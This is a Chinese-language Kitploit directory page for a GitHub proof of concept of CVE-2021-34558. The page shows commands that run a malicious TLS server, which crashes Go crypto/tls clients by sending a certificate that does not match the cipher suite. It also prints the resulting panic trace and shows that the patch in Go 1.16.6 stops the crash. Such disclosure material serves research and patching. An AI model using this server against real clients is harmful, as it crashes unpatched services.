Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2021-34558 — 针对 CVE-2021-34558 的概念验证,演示了通过证书与密码套件不匹配的恶意服务器,在 Go 的 crypto/tls 中引发 TLS 握手 panic。 | Kitploit
工具/GitHubGitHub/alexzorin/cve-2021-34558
漏洞分析漏洞利用Web安全密码学渗透测试
GitHubalexzorin/cve-2021-34558

cve-2021-34558

针对 CVE-2021-34558 的概念验证,演示了通过证书与密码套件不匹配的恶意服务器,在 Go 的 crypto/tls 中引发 TLS 握手 panic。

查看仓库
45365年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-34558 的 POC

# Run the malicious TLS server
go run main.go -mode server 

# Run a normal `http.Get` client call against the server which panics
go run main.go -mode client

对 ./vendor/github.com/refraction-networking/utls/handshake_server.go 做了微小修改,以允许发送证书/密码套件不匹配的恶意握手。

看起来像这样:

$ go run main.go -mode client

panic: interface conversion: interface {} is *ecdsa.PublicKey, not *rsa.PublicKey

goroutine 7 [running]:
crypto/tls.rsaKeyAgreement.generateClientKeyExchange(0xc000001c80, 0xc00014a000, 0xc000130580, 0x0, 0x0, 0x4, 0x6e9da0, 0x7fe73e42e201, 0xc00001c758)
        /usr/local/go/src/crypto/tls/key_agreement.go:70 +0x3a6
crypto/tls.(*clientHandshakeState).doFullHandshake(0xc00015fd48, 0xc00001a380, 0x31)
        /usr/local/go/src/crypto/tls/handshake_client.go:574 +0x5e9
crypto/tls.(*clientHandshakeState).handshake(0xc00015fd48, 0xc00001c418, 0x4)
        /usr/local/go/src/crypto/tls/handshake_client.go:421 +0x566
crypto/tls.(*Conn).clientHandshake(0xc00007f180, 0x0, 0x0)
        /usr/local/go/src/crypto/tls/handshake_client.go:220 +0x754
crypto/tls.(*Conn).Handshake(0xc00007f180, 0x0, 0x0)
        /usr/local/go/src/crypto/tls/conn.go:1391 +0xc9
net/http.(*persistConn).addTLS.func2(0x0, 0xc00007f180, 0x0, 0xc0000624e0)
        /usr/local/go/src/net/http/transport.go:1530 +0x45
created by net/http.(*persistConn).addTLS
        /usr/local/go/src/net/http/transport.go:1526 +0x1f6
exit status 2

已修补的 Go 版本(1.16.6+)不会崩溃:

$ go run main.go -mode client
2021/07/13 06:13:50 <nil> Get "https://127.0.0.1:8443/": tls: server certificate contains incorrect key type for selected ciphersuite
下载工具